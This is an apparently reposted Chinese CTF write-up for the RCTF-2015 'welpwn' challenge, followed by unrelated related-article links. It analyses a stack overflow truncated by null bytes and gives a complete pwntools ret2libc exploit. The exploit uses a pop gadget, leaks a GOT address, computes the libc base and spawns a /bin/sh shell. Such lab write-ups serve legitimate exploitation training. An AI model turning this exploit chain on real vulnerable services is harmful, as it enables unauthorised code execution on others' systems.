搬运3:welpwnctf题目
记录一道自己做的ctf题目:welpwn
--RCTF-2015
1.老生常谈checksec查看:

可以看到只开了nx保护,下面我们进入ida下面看看。

发现是一个想rbp-400,rsp+0h的地方read进入恰好0x400的数据,然后调用了echo函数,我们进入echo看看。

发现了一个简化版的strcpy函数,第一反应溢出溢出!但是这里由于在复制过程中遇到’0x00‘会被截断,所以64位下我们打包的p64(pop_rdi)+p64(binsh_addr)+p64(system)可能复制不到一半就胎死腹中了。
所以我们不能直接复制,另外我们想到,如果echo函数里面发生溢出的话,很有可能回合main函数里面的buf首尾相接,我们进入gdb里面看看,随便画一幅图。
进入gdb的echo那里看看stack的情况

输入超过24个a来覆盖掉s2。

这个时候还没有进行for循环呢,我们可以看到rsp-0x20,然后rbp的位置,以及返回地址后面紧跟着的我们输入buf里面的内容,下面我们执行循环

可以看到输入的字符如果足够的的话是完全可以覆盖掉,并且和rbp相接到的

这里我们画出图来看看,所以重点是我们应该如何使用这里的跳转,并且在跳转之后还有我们前面补充的垃圾数据。(ps:在写到这里的时候我有了一个思路就是如何把前面的jink数据加以利用,但是感觉还是难),
我们可以使用四次pop指令一次pop出8个字节的数据,直接pop到我们秀的地方,而这里已经到我们的buf这里了,我们不用受到被’\x00‘截断的限制了,就是用
ret2libc,去找出偏移
exp如下:
from pwn import *#我因为没有下载libcseracher所以加载的是本地libc库,各位
context.log_level = 'debug'
libca=ELF("/lib/x86_64-linux-gnu/libc.so.6")
e=ELF("./welpwn")
pop_24=0x40089c//使用ROPgadget --binary ./welpwn --only 'pop|ret'找到的
pop_rdi=0x4008a3
write_got=e.got["write"]
puts=e.plt["puts"]
p=process("./welpwn")
payload='a'*0x18+p64(pop_24)+p64(pop_rdi)+p64(write_got)+p64(puts)+p64(0x400630)
p.recvuntil("Welcome to RCTF\n")
p.sendline(payload)
p.recvuntil('\x40') #在0x40这里截止是因为我们受到的数据会包含s2的jink数
#据,而我们的0x40恰好是我们输入进去pop_rdi这里的p64打包之后倒序的最后一
#位,所以在这里截止
write_addr = u64(p.recv(6).ljust(8,'\x00'))#读取6字节并且补充我们前导\x00记得补充要在u64解包反倒序之前
print '--'+hex(write_addr)
libc_base=write_addr-libca.symbols['write']
system_add=libc_base+libca.symbols["system"]#在使用libcseracher下我们要用libca.dump,因为没有使用使用symbols
binsh_addr = libc_base + libca.search("/bin/sh").next()
payloado='a'*0x18+p64(pop_24)+p64(pop_rdi)+p64(binsh_addr)+p64(system_add)
p.recvuntil("Welcome to RCTF\n")
p.sendline(payloado)
p.interactive()
找到我们debug过程中的图来看看:

另外附上一篇比我更详细的博客:https://www.cnblogs.com/wangaohui/p/5123992.html
搬运3:welpwnctf题目的更多相关文章
- 近期概况&总结
下午考完英语的学考就要放假啦,是衡中的假期啊QAQ 所以灰常的激动,一点也不想写题(我不会告诉你其实假期只有一个晚上.. 自从CTSC&APIO回来之后就一直在机房颓颓颓,跟着zcg学了很多新 ...
- [置顶] 《算法导论》习题解答搬运&&学习笔记 索引目录
开始学习<算法导论>了,虽然是本大部头,可能很难一下子看完,我还是会慢慢地研究的. 课后的习题和思考有些是很有挑战性的题目,我等蒻菜很难独立解决. 然后发现了Google上有挺全的algo ...
- 货物搬运(move)
货物搬运(move) 题目描述 天地无情人有情,一方有难八方支援!汶川大地震发生后,灾区最紧缺的是救灾帐篷,全国各地支援的帐篷正紧急向灾区运送.假设围绕纹川县有环行排列的n个救灾帐篷的存储点,每个存储 ...
- 《剑指offer》全部题目-含Java实现
1.二维数组中的查找 在一个二维数组中,每一行都按照从左到右递增的顺序排序,每一列都按照从上到下递增的顺序排序.请完成一个函数,输入这样的一个二维数组和一个整数,判断数组中是否含有该整数. publi ...
- python中关于汉诺塔问题和使用turtle库实现其搬运过程
一.汉诺塔问题 汉诺塔(又称河内塔)问题是源于印度一个古老传说的益智玩具.大梵天创造世界的时候做了三根金刚石柱子,在一根柱子上从下往上按照大小顺序摞着64片黄金圆盘.大梵天命令婆罗门把圆盘从下面开始按 ...
- NOIP练习赛题目5
小象涂色 难度级别:C: 运行时间限制:1000ms: 运行空间限制:262144KB: 代码长度限制:2000000B 试题描述 小象喜欢为箱子涂色.小象现在有c种颜色,编号为0~c-1:还有n个箱 ...
- dp练习(6)——搬运礼物
3409 搬运礼物 CodeVS原创 时间限制: 1 s 空间限制: 64000 KB 题目等级 : 青铜 Bronze 题解 题目描述 Description 小浣熊松松特别喜欢交 ...
- 【题解搬运】PAT_L1-009 N个数求和
从我原来的博客上搬运.原先blog作废. (伪)水题+1,旨在继续摸清这个blog(囧 题目 就是求N个数字的和.麻烦的是,这些数字是以有理数"分子/分母"的形式给出的,你输出的和 ...
- 【题解搬运】PAT_A1016 Phone Bills
从我原来的博客上搬运.原先blog作废. 题目 A long-distance telephone company charges its customers by the following rul ...
随机推荐
- TCP协议中的TIME_WAIT详细说明
文章目录 4.3设置TIME_WAIT状态的目的 4.3.1 实现TCP全双工连接的关闭 4.3.2 使过时的重复报文段失效 4.3.3 TIME_WAIT状态的自结束 4.3.4 TIME_WAIT ...
- 网络层协议、ARP攻击
一.IP数据包格式 二.ICMP协议介绍 PING命令 三.ARP协议介绍 四.ARP攻击原理 一.IP数据包格式 网络层的功能 定义了基于IP协议的逻辑地址 连接不同的媒介类型 选择数据通过网络的最 ...
- 2020ICPC沈阳站C题 Mean Streets of Gadgetzan
大致题意 原题链接 翻译 \(有n个逻辑变量 请你分别对它们赋值 使其满足m个命题\) \(命题有四种格式:\) 单独数字x 表示第x个逻辑变量为真 ! + 数字x 表示第x个逻辑变量为假 若干个数字 ...
- 数据结构逆向分析-List
数据结构逆向分析-List 首先STL中的List就是一个链表,但是肯定C++用了很多封装,所以这里我们来一探究竟. 开始 首先先写一些简单的分析的源代码: #include<iostream& ...
- SpringCloud 学习总结
SpringCloud 学习总结 学习回顾 1.Maven依赖管理 在微服务项目中,我们一般是先创建一个父项目模块对整个项目的依赖进行版本限定和依赖控制,子模块继承父模块后,不需要再考虑版本和依赖 ...
- Docker系类(25)- 发布镜像到DockerHub
# step-1 注册账号 https://hub.docker.com/# step-2 在服务器尚提交我们的镜像[root@localhost WEB-INF]# docker login --h ...
- java面向对象编程(上)
java面向对象学习的三条主线 1.Java类及类的成员:属性.方法.构造器.代码块.内部类 2.面向对象的三大特征:封装性.继承性.多态性.(抽象性) 3.其它关键字:this.super.stat ...
- [手机编程]Aid Learning--换源+数据库安装
换源+MYSQL安装 Aid Learning下载安装 http://www.aidlearning.net/ 切换源 打开Terminal复制回车即可 cd /etc/apt/&& ...
- K8s一键安装
安装案例: 系统:Centos可以多台Master(Master不能低于3台)多台Node此案例使用三台Master两台Node,用户名root,密码均为123456 master 192.168.2 ...
- 2021牛客暑期多校训练营9C-Cells【LGV引理,范德蒙德行列式】
正题 题目链接:https://ac.nowcoder.com/acm/contest/11260/C 题目大意 一个平面上,\(n\)个起点\((0,a_i)\)分别对应终点\((i,0)\),每次 ...